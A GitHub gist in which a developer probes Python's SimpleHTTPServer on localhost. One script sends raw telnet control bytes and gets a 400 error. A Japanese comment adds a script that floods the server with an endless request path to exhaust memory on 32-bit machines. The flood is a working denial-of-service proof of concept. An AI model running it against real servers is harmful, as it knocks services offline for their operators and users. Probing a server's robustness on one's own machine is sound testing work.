Skip to content

Instantly share code, notes, and snippets.

@methane
Created August 6, 2011 18:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save methane/1129609 to your computer and use it in GitHub Desktop.
Save methane/1129609 to your computer and use it in GitHub Desktop.
inada-n@sag15:~$ cat send_magic.py
import socket
s = socket.socket()
s.connect(('127.0.0.1', 8000))
s.sendall("fff4fffd06".decode('hex'))
s.shutdown(socket.SHUT_WR)
dat = s.recv(1024)
try:
dat.decode('ascii')
print dat
except:
print dat.encode('hex')
inada-n@sag15:~$ python send_magic.py
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('\xff\xf4\xff\xfd\x06').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
@methane
Copy link
Author

methane commented Aug 6, 2011

SimpleHTTPServer が動いているのが32bitマシンなら、多分これでメモリ不足で落とせるんじゃないかな。

import socket
s = socket.socket()
s.connect(('127.0.0.1', 8000))
s.sendall("GET ")
bom = '/'*1000
while 1:
    s.sendall(bom)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment